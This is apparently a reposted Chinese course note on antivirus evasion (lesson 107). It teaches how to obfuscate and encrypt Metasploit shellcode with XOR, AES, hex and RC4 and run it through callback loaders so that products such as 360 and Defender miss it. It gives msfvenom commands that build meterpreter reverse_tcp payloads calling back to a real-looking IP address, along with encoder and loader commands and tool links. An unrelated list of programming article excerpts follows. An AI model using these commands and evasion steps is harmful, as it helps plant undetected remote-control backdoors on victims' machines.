107-免杀对抗-CC++溯源ShellCode上线混淆变异算法回调编译执行

news2024/11/26 21:35:31

在这里插入图片描述

知识点

#知识点:
1、ShellCode-分析&朔源&感知
2、ShellCode-混淆&编码&算法
3、回调执行解析-API&汇编&句柄

#章节点:
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++  Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等
演示案例:
1、C/C++-ShellCode分析-OD&IDA&朔源
2、C/C++-ShellCode变异-编码混淆加密算法
3、C/C++-回调执行代码-汇编&句柄&API&UI等
#C/C++-ShellCode分析-OD&IDA&朔源
1、EXE朔源-IP及端口-杀毒分析
2、编译修改-IP及端口-威胁感知
reverse_tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb

#C/C++-ShellCode变异-编码混淆加密算法
Xor Aes Hex Rc4 Rsa等
https://github.com/Arno0x/ShellcodeWrapper
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
1、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi xor
CS&MSF
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
python xor.py -s shellcode.bin  -d payload.c -n 10 -r out.bin
2、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes
3、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://gchq.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodeLoader
LoaderMaker.exe download.dat(hex数据) xiaodi.exe(生成文件名)
4、Rc4
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c 
https://blog.csdn.net/weixin_45590789/article/details/105536623

#C/C++-回调执行代码-汇编&句柄&API&UI等
Callback_Shellcode_Injection-main
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

总结

今天主要讲的是shellcode混淆免杀:
1、首先明确为什么不对exe类型做手脚,而是对shellcode做手脚?
因为对exe类型做手脚(如加壳)可以免杀,但是可能导致出错,无法上线。
而对shellcode进行操作,再编译打包成exe,一般不会有这种问题。
2、杀软如何检测到病毒的?
一般是通过逆向分析后门文件,匹配病毒特征检测到的。
3、如何用shellcode实现免杀?
今天讲的是使用加密算法(如XOR、AES、Hex、RC4)对shellcode进行加密混淆,实现免杀。
4、为什么msf或cs上线了,但是一会儿又掉线了,且IP很奇怪?
可能是对方杀软将后门放在云沙箱里执行了。
5、注意事项:实验完后记得清除后门文件,不然容易被杀软捕获特征,下一次可能无法免杀了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/750040.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

拖拽示教功能块(含算法介绍和完整SCL ST源代码)

这篇博客介绍简单拖拽示教功能的简单原理,在了解示教功能之前大家需要熟悉运动控制相关的内容,这篇博客我们以脉冲驱动为例介绍,所以大家可以先熟悉下脉冲控制功能块,有关运动控制的相关内容,可以查看运动控制专栏,主要链接如下: SMART PLC和V90伺服实现外部脉冲位置控…

【VUE】解决图片视频加载缓慢/首屏加载白屏的问题

1 问题描述 在 Vue3 项目中,有时候会出现图片视频加载缓慢、首屏加载白屏的问题 2 原因分析 通常是由以下原因导致的: 图片或视频格式不当:如果图片或视频格式选择不当,比如选择了无损压缩格式,可能会导致文件大小过大…

《3.linux应用编程和网络编程-第9部分-3.9.linux网络编程实践》 inet_addr inet_ntop inet_pton htons

3.9.1.linux网络编程框架 3.9.1.1、网络是分层的 (1)OSI 7层模型 : 理论指导,7层 (2)网络为什么要分层 网络太复杂 (3)网络分层的具体表现 我们只研究 APPAPI 3.9.1.2、TCP/IP协议引入 (1)TCP/IP协议是用的最多的网络协议实现 (2)TCP/IP分为4层&#xf…

浙大数据结构第三周之03-树1 树的同构

题目详情: 给定两棵树T1和T2。如果T1可以通过若干次左右孩子互换就变成T2,则我们称两棵树是“同构”的。例如图1给出的两棵树就是同构的,因为我们把其中一棵树的结点A、B、G的左右孩子互换后,就得到另外一棵树。而图2就不是同构的…

Python物联网开发-Python_Socket通信开发-Python与Tcp协议物联网设备通信-Socket客户端

一、前言 Python在物联网开发中的重要愈来愈重,因此,掌握Python语言与物联网设备之间的通信就显得尤为重要,可以通过编写Python程序实现获取物联网设备的传感器数值并可以更改物联网设备上的执行器状态。 二、程序实现 首先,当使…

中位数(树状数组+二分)

L-中位数_2023河南萌新联赛第&#xff08;一&#xff09;场&#xff1a;河南农业大学 (nowcoder.com) 树状数组二分 #include <bits/stdc.h> using namespace std; typedef long long ll; const int N2e6; const long long inf 0x7f7f7f7f7f7f7f7f; #define endl \n in…

【Android Framework系列】第5章 AMS启动流程

1 AMS简介 AMS&#xff08;Activity Manager Service&#xff09;是Android中最核心的服务&#xff0c;管理着四大组件的启动、切换、调度及应用进程的管理和调度等工作。AndroidQ将Activity移到了ActivityTaskManagerService中&#xff0c;但也和AMS相关联。 AMS通过使用一些…

【来不及刷题之】44、滑动窗口最小值

暴力方法&#xff1a;超时 class Solution {public int[] maxSlidingWindow(int[] nums, int k) {int nnums.length;int sizen-(k-1);int[] resnew int[size];int slow0,quickk-1;int maxNumfindMax(nums,slow,quick);res[0]maxNum;while (quick<n-1){quick;int addNumnums…

66. 两个链表的第一个公共结点

目录 链接&#xff1a; 题目&#xff1a; 思路&#xff1a; 代码&#xff1a; 图片&#xff1a; 链接&#xff1a; 原题链接 题目&#xff1a; 输入两个链表&#xff0c;找出它们的第一个公共结点。 当不存在公共节点时&#xff0c;返回空节点。 数据范围 链表长度 [1,200…

mapbox跳过accesstoken检测

不写token的时候&#xff0c;控制台就会报这个错 写上token的时候&#xff0c;就会报这个错 然后想让这个错不再出现&#xff0c;就不要再声明mapboxgl.accessToken&#xff0c;并且把node_mudules这个文件夹下面的这个文件里面的红圈内的括号内容改成false。 this._request…

React 安装 报错“Modal不能用作jsx组件”

提示 &#xff1a;‘Modal’ cannot be used as a JSX component. 原因&#xff1a;可能导致是类似antd组件报错 要确认react ts 版本是否适配 解决方法&#xff1a; 第一步&#xff1a;查看代码中的 package.json 文件 查看 typescript 与 types/react 第二步&#xff1a;查…

这些ai图片处理工具就是你神奇的创作伙伴

当我们需要图像来代表某种概念或主题时&#xff0c;我们通常需要花费大量的时间去寻找、编辑、或者设计一张符合要求的图片。但是现在&#xff0c;随着人工智能技术的发展&#xff0c;越来越多的ai自动生成图片软件被开发出来&#xff0c;让我们可以更快捷地获取所需的图像。那…

【Flutter】 Flutter 实现 List Sort 排序 解决复杂业务逻辑下的数据排序问题

文章目录 一、前言二、Flutter 中的 List 排序基础1. Flutter 中的 List 简介2. List 的基本排序方法3. 自定义排序规则 三、在 Flutter 中实现复杂业务逻辑的 List 排序1. 业务逻辑一&#xff1a;根据对象属性排序2. 业务逻辑二&#xff1a;多条件排序 四、完整的 Flutter Lis…

pythonocc进阶学习:faces的inner wire与outer wire

总目录 >> PythonOCC入门进阶到实战(目前已更新入门篇、基础篇和进阶篇) 我们在这篇文章中绘制了带有holes的面&#xff0c; 本篇是在读取到外部文件如brep&#xff0c;igs&#xff0c;stp后获取面的性质&#xff0c;寻找面中的wires的正向与逆向 只显示外wire from O…

TCP/IP参考模型之http协议分层,三次握手、四次挥手

三次握手和四次挥手的过程&#xff1a; 三次握手&#xff1a; TCP建立连接的过程我们称之为3次握手。 &#xff08;1&#xff09;第一次握手 PC1使用一个随机的端口号向PC2的80端口发送连接请求&#xff0c;此过程的典型标志为SYN控制位为1&#xff0c;其他五位为0。 &#x…

credal set 的一些熵

今天看论文的时候看到credal set 的upper entropy [1]&#xff0c;另外作者还给出了一些这个熵的优点。 当然在[2] 里面又变成了缺点。 注意在上一篇博文&#xff0c;credal decision tree的论文里面&#xff0c;作者又推翻了自己的观点&#xff0c;认为这个熵是disaggregat…

C++数据结构笔记(9)树与二叉树的基本概念

1.只有一个结点也可以称为树&#xff0c;只不过没有叶子结点&#xff1b;也可以有0个结点&#xff0c;称为空树。 2.树具有递归性&#xff0c;树中还有树 3.结点的度&#xff1a;结点所拥有的子树的个数 4.树的高度&#xff1a;树的子树的最高层数 5.树的广义表示法&#x…

多肽合成定制756500-22-8,cyclo(Arg-Gly-Asp-d-Phe-Glu),试剂信息说明

资料编辑|陕西新研博美生物科技有限公司小编MISSwu​ 英文名称&#xff1a;cyclo(Arg-Gly-Asp-d-Phe-Glu) 规格标准&#xff1a;1g、5g、10g CAS&#xff1a;756500-22-8 分子式&#xff1a;C26H36N8O9 分子量&#xff1a;604.61 ------cyclo(Arg-Gly-Asp-d-Phe-Glu)结构式-…

AuthenticationFailedException: 526 Authentication failure[0]的解决方案

0、一句话概括bug的原因 项目更换了邮箱服务器&#xff0c;原服务器支持的账号格式在新服务器上不被支持&#xff1b;即发送给新服务器的账号错误。 1、概述 &#xff08;1&#xff09;bug: java程序通知阿里云邮箱服务器发送邮件失败。 异常报错信息&#xff1a;Authentic…